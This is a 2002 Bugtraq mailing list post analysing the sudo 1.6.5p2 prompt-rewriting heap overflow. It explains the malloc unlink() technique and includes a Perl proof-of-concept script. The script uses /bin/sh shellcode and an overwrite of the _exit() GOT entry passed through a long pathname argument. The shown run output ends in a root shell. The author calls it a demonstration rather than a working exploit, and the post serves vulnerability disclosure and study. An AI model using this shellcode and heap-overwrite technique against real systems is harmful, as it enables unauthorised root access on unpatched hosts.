Bugtraq mailing list archives

Re: Sudo version 1.6.6 now available (fwd)


From: Przemyslaw Frasunek <venglin () freebsd lublin pl>
Date: 25 Apr 2002 21:01:37 +0200

Jonas Eriksson <je () sekure net> napisal(a):

 o Fixed a security hole in prompt rewriting found by Global InterSec.

Looks like, it won't be easy to exploit.

There are possible few scenarios: using a unlink() or frontlink()
macro in chunk_alloc() or chunk_free(). In both cases we can control
fd and bk pointers passed to macros, using the long pathname
argument. The most important problem is to set fake chunk size to safe
value. It must be positive (to pass condition in chunk_alloc() before
unlink()) and quite small (remainder + remainder_size must be valid
pointer). With smallest possible value without NULL bytes (0x01010101)
it segfaults. It can't be negative also.

0x08054bff in chunk_alloc (ar_ptr=0x805f9a0, nb=80) at malloc.c:2996
2996                set_foot(remainder, remainder_size);

set_foot() macro is called just after offending unlink(). Arbitrary
address is already overwritten, but remainder_size is way to big. This
scenario is possible to exploit when SIGSEGV sighandler would be
set (but it's not).

The attached below code ISN'T A WORKING EXPLOIT. It's only my
demonstration, how it would be exploitable in case of SIGSEGV handler
set or set_foot() macro not segfaulting.

[venglin@clitoris sudo-1.6.5p2]$ cat babunia.pl
$sudo = $ARGV[0];
$prompt = "h%h%h%h%aaaaaaaaaaaaaaaaaaaah%";
$prepad = 266;
$postpad = 512;
$retloc = hex(`objdump -R $sudo | grep '\\<_exit\\>' | cut -f1 -d' '`);
$retad = 0x8063b10;
$align = 20;
print "Prompt: $prompt\n";
print "Prepad: $prepad\n";
print "Postpad: $postpad\n";
print "Align: $align\n";
print "_exit() @ ", sprintf("0x%x\n", $retloc);
print "shellcode @ ", sprintf("0x%x\n", $retad);
$testcode  = "\xeb" . chr($align);
$testcode .= "\x90" x $align;
$testcode .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c";
$testcode .= "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb";
$testcode .= "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
$frame  = pack('l', 0x01010101);
$frame .= pack('l', $retloc-12);
$frame .= pack('l', $retad);
$path   = "a" x $prepad;
$path  .= $frame;
$path  .= $testcode;
$path  .= "a"x($postpad - length($testcode));
system($sudo, "-p", $prompt, $path);
[venglin@clitoris sudo-1.6.5p2]$ perl ./babunia.pl ./sudo
Prompt: h%h%h%h%aaaaaaaaaaaaaaaaaaaah%
Prepad: 266
Postpad: 512
Align: 20
_exit() @ 0x805fe40
shellcode @ 0x8063b10

litorisclitorisclitorisclitoris%aaaaaaaaaaaaaaaaaaaah%
Sorry, try again.
litorisclitorisclitorisclitoris%aaaaaaaaaaaaaaaaaaaaI
¨¨ry again.
litorisclitorisclitorisclitoris%aaaaaaaaaaaaaaaaaaaaI
¨¨ry again.
./sudo: 3 incorrect password attempts
# id
uid=0(root) gid=1000(users) egid=0(root) groups=1000(users),6(disk),23(audio),24(video)

My recent idea was to expand heap by passing 0x01010101 bytes of
environment variables, so remainder + remainder_size would be
reachable and set_foot() macro wouldn't segfault. But I haven't tried
out it yet.

-- 
* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE *
* Inet: przemyslaw () frasunek com ** PGP: D48684904685DF43EA93AFA13BE170BF *


Current thread: